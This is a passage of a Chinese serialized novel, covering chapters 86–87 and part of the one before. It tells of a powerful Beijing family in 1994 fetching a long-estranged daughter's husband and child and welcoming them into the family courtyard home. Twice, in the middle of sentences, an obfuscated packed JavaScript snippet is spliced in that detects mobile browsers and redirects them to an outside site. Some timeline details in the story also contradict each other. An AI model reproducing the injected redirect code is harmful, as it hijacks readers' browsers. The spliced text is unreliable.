苏定方听得格外认真,身体微微前倾,眼神专注地看着笑笑,偶尔还会轻声问几句: “笑笑在幼儿园喜欢上什么课呀?中午吃的饭合胃口吗?” 笑笑立刻坐直身子,小胸脯挺得高高的,大声回答: “我喜欢画画课和音乐课!画画课上,我画了一只小猫咪,有黄色的**和绿色的眼睛,我还在它旁边画了一朵小太阳花,下次我画给太爷爷看!” 她想了想,又补充道,“中午吃的红烧肉和炒青菜,红烧肉是红烧的,一点都不腻,我把青菜都吃完了,老师说多吃青菜能长高高,我要长得和妈妈一样高!” 阳光慢慢从窗户的左边移到右边,把每个人的影子拉得很长很长,像一条条温暖的丝线,缠绕在一起,把苏家三代人紧紧地连在了一起。 窗外的梧桐树叶被风吹得轻轻摇晃,金黄的叶子沙沙作响,像是在为这迟来的团圆鼓掌; 远处传来医院食堂推车的轱辘声,那是不锈钢推车特有的“轱辘——轱辘”声,很轻,却带着烟火气; 夹杂着护士站里护士轻声的叮嘱:“305床的病人记得按时吃药,别吃生冷的东西。” 这些声音平日里或许会让人觉得嘈杂,此刻却成了病房温情的背景音,让这份团圆更显珍贵。 林凡悄悄握紧拳头,指节微微泛白,心里的决心越发坚定:以后不仅要照顾好晚晴的身体,帮她记住每次的检查时间和用药反应,还要陪着她做康复训练,哪怕每天只多走一步; “笑笑宝贝屋”要做得更好,年底前再开两家分店,目标是成为县城里知名的亲子品牌,让自己成为能和苏家并肩的人,而不是依附他们的“外人”; 更要多抽时间带笑笑去北京,让她在四合院的石榴树下和太爷爷学下棋,跟着爷爷奶奶去什刹海逛胡同,补上这两年缺失的亲情。 他看着眼前的一家人—— 苏定方温和地笑着,眼角的皱纹里满是暖意; 苏振邦在给晚晴掖被角,手指轻轻抚平被面的褶皱;秦淑慧在给笑笑剥橘子,把一瓣剥好的橘子递到笑笑嘴边; 苏瑾瑜在翻看相机里的照片,嘴角还带着笑意;笑笑则靠在苏晚晴怀里,继续唱着跑调的《小兔子乖乖》—— 突然觉得,过去所有的等待和辛苦,所有的委屈和不安,在这一刻都有了意义。 原来,最好的幸福,从来不是轰轰烈烈的惊喜, 而是一家人围在一起,哪怕只是简单地说说话、喂一碗粥,也能暖到心底。 第86章:特殊归途 1994年4月的上海,黄浦江边的风还带着几分料峭春寒,同济医院住院部三楼的窗台上,三盆新生的绿萝却已舒展开嫩黄绿的叶片,晨光照在叶片的水珠上,映得病房里暖融融的。 苏晚晴靠在床头,手指轻轻拂过绿萝的藤蔓,旁边的心电监护仪正发出规律的“滴滴”声,屏幕上的波纹像平缓的溪流—— 三天前还急促得让人心慌的曲线,此刻已与健康人无异。 主治医生李主任拿着病历本走进来,笔尖在纸上轻轻一点,笑着拍了拍床沿: “苏小姐,血常规、心肌酶的指标都回到正常范围了,苏副院长特意协调了康复科的张教授,每天上午来给你做半小时的肢体训练,后续一个月巩固治疗,就能彻底康复。” 他口中的苏静婉,此刻正站在病房门外,白大褂口袋里揣着从家里带来的蜂蜜柚子茶—— 知道苏晚晴从小怕苦,特意让家里阿姨熬了装在搪瓷杯里,杯壁还印着“同济医院1990年先进单位”的红字。 这个近乎“定制”的治疗方案,藏着苏家自上而下的牵挂。 苏老太爷苏定方在电话里特意叮嘱苏静婉: “让晚晴在你那里多住些日子,你盯着我才放心;那孩子在外头受了十年苦,身子骨得慢慢养。” 电话那头的老式拨号电话机还带着电流声,苏静婉应下后,转头就让护士长把病房换成了带阳台的单间,阳台上摆的绿萝,正是她从家里书房搬来的—— 苏晚晴小时候最喜欢在书房的绿萝旁写作业。 而接林凡和笑笑回北京的任务,苏瑾瑜几乎是“抢”来的。 彼时从上海到北京的特快列车最快也要12个小时,软卧包厢紧俏得很,苏瑾瑜提前三天就让助理去北京站排队, 还特意让家里的张阿姨准备了笑笑爱吃的草莓酱(用当季的丹东草莓熬的,装在玻璃罐里封了蜡),以及刚从友谊商店买回来的动物形状小饼干, 一起放进印着“米老鼠”图案的保温箱——那是他托人从广州捎来的,1994年北京市面上还少见这样的卡通保温箱。 苏家位于北京东城区的四合大院里,垂花门上的红漆虽有些斑驳,却透着老北京的规整。 得知林凡和笑笑要回来的消息,前院的石榴树刚冒出新芽,苏振邦就坐在院里的藤椅上,反复擦拭着手里的紫砂壶; 秦淑慧则在厨房和储藏室之间来回转,把给笑笑织好的毛衣翻出来—— 三件,分别是一岁、三岁、五岁穿的,都是浅粉色,袖口绣着小兔子,十年前织好后就放在樟木箱里,如今拿出来还带着淡淡的樟脑香。但最坐不住的,当属小舅苏瑾瑜。 作为苏振邦最小的儿子,苏瑾瑜在苏家小辈里确实“特殊”: 老大苏瑾华在华北军区任副司令,办公室墙上挂着大幅**,桌上总摆着标着“机密”的文件夹; 老二苏瑾国在燕京**任****,每天打交道的都是各方大佬、外资代表; 女儿苏晚晴更是从小被宠得像公主,16岁生日时家里还特意请了钢琴老师,教她弹《致爱丽丝》。 而苏瑾瑜却在1988年从复旦大学经济系毕业后,拒绝了父亲安排的机关工作,拿着家里给的200万启动资金,一头扎进了刚兴起的资本市场。 1994年的他,32岁,已是苏氏投资集团的董事长—— 这家原本做传统外贸的家族企业,在他手里转型成了涵盖电子科技、家电制造的投资平台,1993年营收突破5亿元,其中他主导投资的“北方电子”(主营寻呼机配件), 仅用两年就占据了北方市场30%的份额,要知道当时全国寻呼机用户刚突破100万,电子配件行业还处在蓝海阶段。 圈内人都叫他“少帅”,不是因为他的家族背景,而是因为1992年他收购天津一家濒临破产的家电厂时,仅凭对方财务报表里“原材料库存周转天数比行业均值多15天”这一细节, 就预判到家电行业即将迎来整合,果断投入1.2亿更新生产线,一年后这家厂就成了华北地区的微波炉龙头,为苏氏集团赚回了3亿利润。 可这些让商界惊叹的成就,在苏瑾瑜心里远不如接笑笑回家重要。 他后来在家族聚会上喝着二锅头说: “当年签天津家电厂并购案时,庆功宴上我跟客户喝到凌晨两点,回到家倒头就睡; 但去接笑笑前一晚,我翻来覆去睡不着,把笑笑的照片看了一遍又一遍—— 是他在小县城里把林凡和笑笑找到的,也是他把林凡和笑笑接到上海医院姐姐身边的。所以对林凡和笑笑来说,他的感触最多。 第一次在小县城看到笑笑这丫头的时候,我就惊呆了,因为这丫头跟她妈妈,我的姐姐小时候一模一样。 我还特意去玩具店买了个会唱歌的洋娃娃,想着见面时递给她,又怕她不喜欢,来回换了三个。” 对苏瑾瑜来说,接回林凡和笑笑,更像亲手把苏家这副缺了十年的“拼图”补完整——那十年里,四合院里的每一件旧物,都藏着没说出口的遗憾。 1982年苏晚晴要嫁林凡时,家里的争执几乎掀翻了屋顶。 当时苏老太爷虽已从**某部门退休,但苏家在军政两界的关系盘根错节,秦淑慧拿着林凡的简历(一张皱巴巴的纸,写着“某国营纺织厂工人,父母是农民”), 拉着苏晚晴坐在客厅的红木沙发上,声音都带着颤:“晚晴啊,张司令家的儿子跟你同岁,现在已是团级干部,人家对你有意,你怎么就偏偏选个工人? 咱们苏家的姑娘,婚事不能这么‘将就’!” 苏振邦没说话,只是把苏晚晴16岁的生日照从书桌拿起来—— 照片里的女孩穿着淡蓝色连衣裙,抱着小提琴笑靥如花,照片左上角还沾着一点蛋糕奶油的痕迹——他摩挲着照片边缘,半晌才叹口气: “你再想想,别让家里人担心。” 可苏晚晴性子倔,第二天就收拾了行李箱,只留下一张字条:“爸,妈,林凡人好,我不后悔。” 这一去就是十年。 苏振邦的书桌左上角,那张生日照就一直摆在那,每天早上他都会用布擦一遍,却故意留下一层薄尘—— 像是怕擦得太干净,就忘了女儿离家时的模样。 秦淑慧每年冬天都会给笑笑织毛衣,织完就放进樟木箱,去年织的那件粉色开衫,领口还绣了个小小的“笑”字,她总摸着毛衣念叨:“不知道孩子穿合不合身。” 苏瑾瑜那时候在复旦大学读经济系,每次放假回家,都要去苏晚晴以前的房间待一会儿—— 房间里的钢琴还摆在窗边,琴键上落了层薄灰,翻开琴盖,里面还夹着一张《致爱丽丝》的乐谱; 书架上的《格林童话》扉页,有苏晚晴用钢笔写的“给瑾瑜,等你长大给你读”。 有一次他在书架最底层发现一个铁盒,里面装着苏晚晴攒的糖纸,都是当时最稀罕的“大白兔”,他摸着糖纸,突然就红了眼:“要是姐姐能回来,我一定买一整盒大白兔给她。” 所以1994年春天,当苏静婉打电话说“晚晴想让林凡和笑笑来北京”时,苏瑾瑜几乎是立刻就说:“我去接!” 他心里清楚,这不仅是帮苏晚晴圆心愿,更是了却自己藏了十年的念想——他想看看,那个在照片里扎羊角辫的小姑娘,是不是真的像姐姐一样,笑起来有两个小梨涡。 苏瑾瑜后来在《苏氏家族回忆录》里写: “寻找林凡和笑笑的那半个月,比我做过的任何一笔投资都紧张——投资输了能再赚,可这次要是搞砸了,姐姐可能就再也不回苏家了。” 他先是给二哥苏瑾国打了电话,苏瑾国在燕京**忙的脱不开身,第二天就回了话:“晚晴1982年离开北京后,先去了浙江义乌,在当地的小商品市场租了个摊位。 1990年笑笑出生后,林凡工厂效益差,就被厂里给裁员了,当时心情不好,天天烂酒。 晚晴的病也是那个时候发作的,所以两人关系也变坏,晚晴一气之下去上海找小姑治病,而家里的一切就让林凡折腾。 当然,所有人都不知道的是,正好林凡重生之时就是晚晴离开第二天。 重生后的林凡和先前的林凡差异变化很大,邻居们还以为是晚晴离开后受刺激了”不过终归是很好的结果,笑笑也因重生之后的林凡而幸了起来。 接着他又找大哥苏瑾华,让军区的信息部门查了林凡的背景—— 除了被裁员那段时间有些烂酒,没有其他任何不良记录,反而在1990年义乌发洪水时,还救过两个被困在仓库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707203|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的邻居。 这些消息让苏瑾瑜松了口气,但还是不放心,又让苏氏集团义乌分公司的负责人王经理去摸底:“别惊动他们,就看看林凡对笑笑好不好,孩子过得怎么样。” 那段时间,苏瑾瑜每天早上8点、中午12点、晚上7点,都会准时给王经理打电话。 王经理每次都详细汇报:“林先生每天早上7点送笑笑去幼儿园,晚上5点半接她回家,路上会给她买一根糖葫芦; 晚上在家,他会陪笑笑写作业,还教她画画;周末会带她去公园放风筝,风筝是他自己做的,画了只小蝴蝶。” 苏瑾瑜听着这些细节,心里的石头慢慢落了地,但还是做了最坏的打算——他让助理准备了“应急方案”: 如果林凡对笑笑不好,就立刻联系义乌教育局,把笑笑转到北京的实验小学;如果林凡想借苏家谋利,就安排他进苏氏集团的子公司,给个闲职但不掌权; 甚至还在四合院里收拾了一间朝南的房间,买了新的书桌和小床,准备让笑笑住。 1993年10月3日,苏瑾瑜带着那个印着米老鼠的保温箱,坐特快列车到了义乌。在转车到了林凡所在的小县城。 王经理开车送他去林凡家,车子停在一个老旧小区门口,楼道里飘着饭菜香,苏瑾瑜攥着保温箱的把手,手心都出了汗—— 他甚至在心里演练了见面的场景:要是林凡态度不好,他就先把笑笑抱走;要是笑笑怕生,他就把洋娃娃递给她。 可当他推开那间挂着“笑笑宝贝屋”木牌的出租屋门时,所有的忐忑都烟消云散了。 那是一间不足20平米的小房子,靠窗摆着一张小书桌,书桌上放着笑笑的水彩笔和画纸,床上躺着一个洗得发白的小熊玩偶; 墙角的积木堆成了小城堡,而林凡正蹲在城堡旁边,给一个木质小木马拧螺丝—— 小木马刷着粉色的漆,马头上还挂着个银色的小铃铛,笑笑穿着红色的小裙子,蹲在旁边给爸爸递螺丝,嘴里还念叨:“爸爸,快点呀,我们明天去公园骑木马好不好?” 现在想想,好像还是昨天发生的故事。 1994年4月15日清晨。 “小舅舅来啦” “这是笑笑画的?” 苏瑾瑜半蹲抱起跑过来的笑笑,亲亲她的小脸。指着画,指尖轻轻碰了碰最右边那幅的边缘,还能摸到蜡笔的质感。 “是呀!每天都画!妈妈病了要好好休息,等妈妈好起来,我们就能一起去公园玩啦!” 笑笑小手搂住他的脖子,小脸红扑扑的: 林凡的声音有点低,却很坚定,“晚晴前几天说,家里让我们去北京,我本来想下周坐火车过去,没想到您亲自来了。笑笑去北京上学的费用,我们自己能承担,不想给苏家添麻烦。” 那一刻,苏瑾瑜突然觉得鼻子发酸。他在商场摸爬滚打了五年,见过太多虚与委蛇:有合作方表面称兄道弟,背后却截胡项目;也有客户拿着假数据谈合作,被拆穿后还振振有词。 可眼前这个男人,住着不足50平米的房子,和朋友开了两家儿童童装玩具店,却用最实在的方式,守着一个父亲的责任和一个丈夫的尊严。 苏瑾瑜帮笑笑理了理松掉的红绳,指尖碰到她软乎乎的脸颊,“这个会唱歌的洋娃娃,是小舅给你买的。” 笑笑看了一眼就抬头笑,两个小小的梨涡陷了进去——和晚晴小时候笑起来一模一样。 “谢谢小舅!”笑笑伸手碰了碰苏瑾瑜的袖口, “妈妈说,小舅上次送我们来上海,还给我买了大白兔奶糖,我还留了一颗在糖盒里呢!” 苏瑾瑜的心软得一塌糊涂,他从口袋里摸出一个铁盒,里面装着满满一盒大白兔奶糖,糖纸闪着熟悉的米白色光泽。 “对,小舅这次带你们回北京,以后每天都能给你买奶糖,好不好?” 笑笑抱着铁盒点头,林凡站在旁边,看着小舅子和女儿的亲热画面,嘴角也露出了久违的笑。苏瑾瑜起身时,又看了一眼桌面上的画—— 阳光从窗户照进来,刚好落在“爸爸、笑笑、妈妈”那六个字上,像是给这三个字镀了层暖光。 他知道,这场跨越京沪的接归,不仅是带父女俩回北京,更是把姐姐的牵挂,和这个小家的希望,一起接回了温暖的港湾。 第87章:一院烟火,几代温情 刚跨进北京东四胡同里的苏家四合院,笑笑就挣开小舅苏瑾瑜的手。 鹅黄色苏绣小裙子上的雏菊跟着蹦跳,像撒了把会动的阳光—— 那裙子是姥姥秦淑慧前阵子托苏州老字号绣坊做的,绣娘用的是“虚实针”技法,雏菊的花瓣边缘带着淡淡的渐变,远看就像真花落在布上。 胡同里的青砖缝还嵌着昨夜的露水,清晨六点的阳光刚漫过胡同顶,把露水照得像碎玻璃; 青砖是老北京常见的“二四墙”规格,长24厘米、宽11.5厘米、厚5.3厘米,是太姥爷苏定方1940年从砖窑特意订的,每块砖都烧得透,敲起来当当响。 露水沾湿了笑笑的小皮鞋尖,那是妈妈前几天在王府井儿童商店买的小羊皮款式,鞋头缝着小小的珍珠扣,软乎乎的刚好裹住她的小脚,可她半点不在意,踮着脚往灰瓦青檐上指: “小舅舅你看!瓦上有小月牙!” 裙摆扫过磨得发亮的青石板,石板边缘还留着细微的凿痕。 这是太姥爷苏定方1940年特意让人从房山周口店拉来的料,当时房山青石板以质地细密、抗风化闻名,吸水率低于3%,就算经历暴雨暴晒也不容易开裂。 太姥爷雇了辆骡车,骡车一次只能载五百斤青石板,他分了三趟才运完,每趟都要在颠簸的土路上走六小时,花了整整三天才把所有石板铺好。 八十多年风雨里,石板表面被几代人的脚步磨出温润包浆,连缝隙里都沁着胡同的烟火气—— 春天沾着玉兰花瓣,夏天浸着井水的潮气,秋天落满槐树叶,冬天裹着薄雪,每个季节都给石板添了层新味道。 裙摆扫过的瞬间,惊得石桌上啄小米的麻雀扑棱棱飞,却又绕了圈落回来。 秦淑慧早把这几只小家伙喂熟了,每天清晨都要撒两把当年在河北保定老家种的小米,那片小米地是姥姥嫁过来前, 姥爷特意在保定清苑区租的半亩田,当地的沙质土壤特别适合种小米,种出的颗粒比超市里的大一圈,熬粥时不用放糖都带着甜香,香得能飘出半条胡同。 秦淑慧连麻雀的羽毛颜色都能分清: “那只灰肚皮的是老客了,去年冬天雪下得大,胡同里的树枝都冻住了,它还在窗台上的棉垫上避过雪呢,当时我还给它留了半块馒头,现在每天都来得最早。” 入院:铜铃与槐树下的悄悄话 苏瑾瑜笑着追上,西装袖口还沾着机场的风尘—— 他刚从纽约开了三天跨国会议,机票上的油墨味还没散,行李箱里还装着给家人带的巧克力,是纽约第五大道一家百年老店的手工款。 他指尖带着熬夜工作后的疲惫,眼尾还有淡淡的红血丝,却被侄女脆生生的声音揉软了: “那是老北京四合院的‘起翘五寸’,檐角上翘五寸,既符合‘天圆地方’的建筑讲究,又能让雨水顺着檐角流远,不溅湿墙根。 你太姥爷苏定方在这儿住的时候,每到夏夜就搬竹椅坐檐下,就着这檐角的影子给你姥爷讲三国,讲关羽温酒斩华雄时,檐角的月亮刚好挂在铃绳上,连风都停了听故事。” 他抬手指向檐下挂着的黄铜铃,铃身被岁月磨得发亮,刻着模糊的缠枝纹,纹路里还能看见当年的鎏金痕迹,阳光照上去时,会在地上映出细碎的光。 “这铃是你姥爷苏振邦1958年雪天买的,那时候他还在部队服役,是基层作战参谋,每个月津贴18块钱—— 在当时的部队里,这个津贴水平刚好够补贴家用,还要攒着给家里买过冬的煤。 他攥着5块钱在王府井的五金店蹲了俩小时,这5块钱相当于他近三分之一的津贴,能给你太姥姥买两斤半猪肉,够全家改善两顿伙食,给你妈妈买一双新布鞋都用不了这么多。” 苏瑾瑜顿了顿,想起妈妈常提的细节, “姥爷说那天雪下得齐脚踝,他从西郊的部队驻地坐公交过来,军裤腿都冻硬了。挑铃的时候特别仔细,反复摇了十几下,就怕声音不脆、用不久,耽误你妈妈上学。 跟老板磨价时还亮了下军属证,老板一看是当兵的,又知道是给孩子买闹钟,才便宜了1块钱,不然这黄铜铃要6块钱,他得再攒半个月津贴才够。” 笑笑凑过去够铃绳,小胳膊举得笔直,米白色绸缎蝴蝶结晃得像只振翅的蝴蝶—— 那是姥姥用她旧丝巾改的,边角还缝着小小的珍珠扣,是妈妈年轻时戴过的首饰,姥姥拆了重新串的。“小舅舅,我能碰吗?它会响吗?” “轻点儿拉,别吓着它。” 苏瑾瑜帮她捏住绳尾,指尖轻轻一拉。风裹着铃响漫过来,脆得像咬了口刚从冰糖葫芦上掰下来的糖块,甜丝丝的声响在庭院里绕了两圈,又飘进东厢房的窗棂—— 东厢房的窗纸是姥爷去年特意换的桑皮纸,是从河北迁安买的老纸,纤维粗、韧性好,透光又挡风,冬天贴在窗户上,屋里的热气散不出去,还能看见外面的树影晃来晃去。 笑笑眼睛亮得像盛了星光:“是铃铃在讲故事吗?讲姥爷小时候赖床,铃铃叫他上学的事吗?” “对呀。” 苏瑾瑜蹲下来,指了指院心那棵需两人合抱的老槐树—— 这是北京常见的国槐,树的胸径有80厘米,是东四胡同里树龄最长的国槐之一,枝桠能遮大半个院子,夏天坐在树下乘凉,连风扇都不用开。 树皮上还留着几道浅浅的刻痕: “这树是你太太爷爷苏明远1927年种的,算下来比你姥姥岁数都大。 你看这刻痕,最上面那道离地面1.2米,是你姥爷10岁时量身高刻的,1955年那会儿,胡同里刚通上自来水,太姥爷还特意用井水浇了树,说‘让树跟姥爷一起长’; 中间那道0.8米,是你小姑奶奶5岁时踮着脚划的,1968年的夏天,她拿了根小石子,蹲在树下刻了半天,结果刻歪了,还哭了半天,太姥姥哄着给她买了根橘子味的冰棍才好; 最下面这道0.5米,是去年小舅舅特意给你留的记号,就等你回来比身高。” 笑笑立刻把小皮鞋贴在石板的浅凹里—— 那是几代人踩出来的鞋印窝,深的是姥爷年轻时穿的42码军靴印,1945年姥爷去部队当兵时穿的,回来后总爱在院子里溜达; 浅的是妈妈少女时穿的36码布鞋印,是姥姥给她做的千层底,鞋底纳了密密麻麻的针脚; 还有太姥姥的小脚鞋印浅浅嵌在边儿上,是民国时期的“三寸金莲”鞋,现在只能在博物馆里看见了。 笑笑惊喜地拍手:“哇!我的鞋印和姥爷的印子叠在一起啦!就像我跟姥爷手拉手一样!” 晨光里的早餐:温牛奶与水晶虾饺 早饭摆在西厢房的八仙桌上,桌子是民国时期的老红木家具,用的是东南亚进口的酸枝木,木质坚硬,纹理清晰,太姥爷当年花了三个月工资才从旧货市场淘来的。 桌面还留着太姥爷当年用毛笔写的“食不言”三个字,墨色是用徽墨磨的,八十多年了还没褪色,只是边缘被碗碟磨得有些浅。 桌腿垫着秦淑慧缝的蓝布垫——布垫用的是她嫁过来时的陪嫁布料,靛蓝色的粗布是河北高阳产的, 当年高阳是北方的纺织重镇,这种粗布结实耐洗,上面绣着缠枝莲,是姥姥自己绣的,洗了几十年还是鲜亮,针脚都没松。 “垫上布垫,免得桌腿磨坏青石板,这石板可是你太姥爷的心血。”秦淑慧一边摆碗筷一边说。 秦淑慧端着温好的牛奶过来,手背先贴了贴奶瓶,又把奶瓶贴在自己脸颊上试了试: “40度刚好,姥姥尝过啦,不烫舌头。 这奶是你大舅妈早上从牛街订的鲜牛奶,牧场就在大兴区的生态牧场,那边养的都是荷斯坦奶牛,每头每天能产25公斤奶,比普通奶牛高10公斤呢。” 她给笑笑插好吸管,接着说: “牧场凌晨3点就用机械化挤奶机挤奶,挤完直接装瓶,用冷藏车运过来,温度一直保持在4度,6点就送到胡同口的订奶点—— 那订奶点从1980年就有了,现在还保持着人工登记的习惯,你大舅妈每天早上5点半就去取,就怕晚了被别人领走,这鲜牛奶保质期只有3天,比超市里6个月保质期的常温奶鲜多了,里面没加复原乳,纯纯的生牛乳。” 笑笑吸了口,奶香味裹着淡淡的青草味,比幼儿园里加了复原乳的牛奶浓多了,嘴角还沾了点奶渍。 “姥姥,比幼儿园的牛奶香!幼儿园的牛奶像兑水了!” “那是,咱们的奶没加添加剂。” 秦淑慧笑着帮她擦了擦嘴,又夹了个水晶虾饺到她碟子里。 虾饺皮薄得能看见里面粉白的虾仁,透过皮还能看见虾仁上的纹路,边缘捏着12道褶,是姥姥跟着胡同里的张奶奶学的,说“12道褶的虾饺才正宗”。 “快尝尝虾饺,虾仁是凌晨从曹妃甸渔港运的—— 曹妃甸是渤海湾最大的渔港,每天凌晨3点开港,两小时内就能运出50吨新鲜海鲜,你二舅妈托老陈挑的虾,老陈在海鲜市场干了三十年,专挑活蹦乱跳的‘渤海湾大对虾’。” 秦淑慧指着虾饺,“这种虾每只都有15厘米长,比笑笑的小手还长,一只虾能剥出两瓣肉,每年5-6月最肥,现在是养殖和野生结合,全年都能吃到。 你姥爷以前总说,‘吃虾就得吃活的,死虾鲜气跑一半,冻过的虾连甜味都没了’,所以每次买虾,你二舅妈都要看着老陈现捞现剥。” 笑笑咬了口,鲜汁顺着嘴角流,秦淑慧赶紧用软棉柔巾擦—— 那是她用妈妈小时候的旧棉布改的,是1980年妈妈上小学时穿的校服,纯棉的布料洗得发白却软乎乎的,比超市里的纸巾亲肤多了,擦在脸上不扎人。 “慢点儿吃,没人跟你抢。” “姥姥,虾饺里有甜甜的碎碎!” 笑笑嚼着马蹄碎,含糊地说,嘴角还沾着点虾汁。 “那是保定白洋淀的马蹄,咱们北京郊区种的马蹄甜度不够。” 秦淑慧眼里漾着笑,指尖轻轻刮了刮她的嘴角,“白洋淀的马蹄长在浅水里,那里光照足,水分多,土壤是腐殖土,种出来的马蹄脆甜,还带着点湖水的清味。 白洋淀那边有两千亩马蹄种植区,用的是生态种植,不打农药,摘下来就能吃。” 她想起以前的事,“你姥爷以前也爱吃马蹄馅的,总说‘食材的本味最珍贵,调料多了就盖过鲜味了’。 有次你妈妈12岁,刚从四川亲戚家回来,觉得辣的好吃,非要给虾饺放辣椒,说要学四川菜,被你姥爷追着绕槐树跑了三圈, 最后还是你太姥姥说‘各做一盘’才罢休,结果你妈妈吃了两口辣的,就辣得直吸气,哭着要吃姥爷做的原味。” 笑笑似懂非懂点头,又夹了个虾饺,小眉头皱着: “那我要多吃点,留给姥爷好不好?姥爷什么时候回来呀?” 秦淑慧摸了摸她的头,指腹蹭过孩子柔软的头发—— 那是早上刚给她扎的小辫子,还喷了点儿童护发喷雾,是大舅妈特意买的,不含硅油,闻着有橘子味。她没说话,只把碟子里剩下的三个虾饺都推到她面前: “先吃你的,姥爷回来姥姥再给他包,保证比这个还鲜,到时候让姥爷带你去曹妃甸看渔船好不好?” 上午庭院:织针与拨浪鼓的暖意 刚吃完早饭,院门外就传来自行车的铃铛声,“叮铃叮铃”地越来越近,还夹杂着车轮压过石板路的“咕噜”声—— 石板路不平整,车轮压过缝隙时会发出有节奏的声响,胡同里的老邻居一听就知道是苏家的人回来了。 笑笑蹦着跑到门口,就看见大舅妈李芸推着二八大杠自行车进来—— 这自行车是姥爷1980年买的永久牌,当年要凭票才能买到,姥爷是厂里的先进工作者才分到一张票,花了156块钱,相当于他四个月的工资。 现在自行车还擦得锃亮,车把上缠着黑胶布,是姥姥怕姥爷骑车硌手缠的,车座套是灯芯绒的,用了二十年没破,车链条每个月都用机油擦,骑起来还很顺畅。 “笑笑来啦!” 李芸放下自行车,从车筐里的蓝布包里掏出一双浅粉色的小袜子,袜口绣着小小的草莓,针脚密得看不见线头,草莓的叶子还用了绿色的线,看起来栩栩如生。 “舅妈给你织的羊绒袜,用的是内蒙古鄂尔多斯的细羊绒—— 鄂尔多斯的羊绒纤维细度只有14微米,比普通羊毛细一半,摸起来软乎乎的,比普通毛线软三倍,冬天穿小皮鞋也不冻脚。” 李芸蹲下来,帮笑笑脱鞋试袜子, “舅妈照着你上次穿的28码鞋织的,肯定合脚,上次你妈妈说你脚长得快,我还特意在袜口留了点松紧度,能多穿半年。” 笑笑坐在门槛上,伸着脚让李芸帮她穿,袜子裹住小脚,暖得她直跺脚: “暖暖的像姥姥的手!舅妈,你怎么知道我喜欢粉色呀?” “你妈妈跟我说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707204|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀。” 李芸笑着捏了捏她的脸,指腹触到孩子软软的皮肤, “你妈妈小时候,舅妈也给她织过这样的袜子,不过是红色的,上面绣的是小梅花,她穿了三年,脚长了还舍不得扔,最后我改成了护膝,冬天戴在膝盖上,暖得很。” 周婉茹则打开竹编小筐,里面放着个红漆拨浪鼓,鼓面上画着只小兔子,兔子的眼睛还是用朱砂点的,红得鲜亮,鼓柄包着防滑的蓝布条—— 布条是用她结婚时的枕套改的,1995年她嫁过来时,姥姥给她做的枕套,纯棉的布料洗得软了,包在鼓柄上不硌手。 “这是你妈妈小时候玩的拨浪鼓,1985年你姥爷去上海出差买的,当时你姥爷坐了12小时的绿皮火车, 那时候绿皮火车时速只有60公里,北京到上海要24小时,姥爷是提前两天出发的,就怕赶不上买玩具。” 周婉茹把拨浪鼓递给笑笑, “他在上海城隍庙的玩具店挑了半天,试了十几个拨浪鼓,就觉得这个声音好听,不刺耳。 你妈妈当年抱着它,走到哪儿摇到哪儿,鼓面都被她敲破过两次,还是你姥姥用针线补好的,你看这鼓面,还有两道浅浅的补丁印,是姥姥用同色的布补的,不仔细看看不出来。” 笑笑摇了摇,“咚咚”的声音带着点闷响,不像新玩具那么脆,却格外亲切,像有人在耳边轻轻说话。 “你听,这声音跟别的拨浪鼓不一样吧?”周婉茹坐在石阶上,跟笑笑一起摇着拨浪鼓,阳光落在她们身上,暖融融的。 “因为鼓皮是老羊皮的,用的是传统植鞣法,用树皮汁浸泡了半个月,没有化学添加剂,所以能用三十年,越用声音越沉—— 就像咱们家的事儿,越久越有味道,越品越暖。” 秦淑慧端着刚泡好的茶过来,茶杯是粗陶的,上面印着“劳动最光荣”的字样,字体还是隶书,这是1959年建国十周年时的纪念款,当年太姥爷在工厂评比中得了先进, 工厂发的奖品,现在全胡同里没几个这样的杯子了,杯沿有点缺口,是太姥爷当年不小心摔的,却一直没舍得扔。 “尝尝姥姥泡的茉莉花茶,茶叶是去年从福建安溪买的特级茉莉大白毫,用的是‘七窨一提’的工艺,就是用茉莉花熏七次,最后再提一次香,香味能保留一年,打开茶罐就能闻到香味。” 秦淑慧把茶杯递给李芸和周婉茹,“水是院里老井的水,这井是你太姥爷1938年挖的,井深8米,用青砖砌的井壁, 井底还有一层细沙滤水,现在还能打出水来,井水的pH值7.2,矿物质含量适中,比自来水甜多了,你尝尝,茶里都带着点井水的甘味。” 李芸喝了口茶,笑着说:“妈,还是您这井水泡茶香,我家的自来水总有点消毒水味,泡出来的茶发涩,上次我还装了两瓶井水回去,泡出来的茶就不一样了。” 周婉茹则指着东厢房的窗棂:“妈,上次我说的那个窗花,您还留着呢?就是我跟姐结婚时贴的,剪的是‘双喜临门’,都快三十年了,红纸都有点褪色了,边角也卷了。” 秦淑慧点头,眼里带着笑意:“留着呢,每年过年都拿出来贴,玻璃上的印子都跟窗花合在一起了,撕下来都怕把玻璃上的印子带掉,就像咱们家的日子,贴在一起就分不开了。” 傍晚庭院:老树与祖孙的岁月絮语 夕阳把庭院染成暖黄色时,连青砖都透着温柔的光,砖缝里的青苔被照得发亮—— 青苔是因为老井的水汽常年湿润,在墙角长了一片,夏天能降温,比空调还舒服,下雨时还会冒出淡淡的土腥味。 秦淑慧牵着笑笑逛院子,先停在白玉兰树下,这树有五米多高,枝桠伸到了房顶上,树皮上还留着当年的绑绳印—— 那是刚种的时候怕风吹倒,用麻绳绑在竹竿上留下的,现在绳子早就烂了,印子却还在,像树的“胎记”。 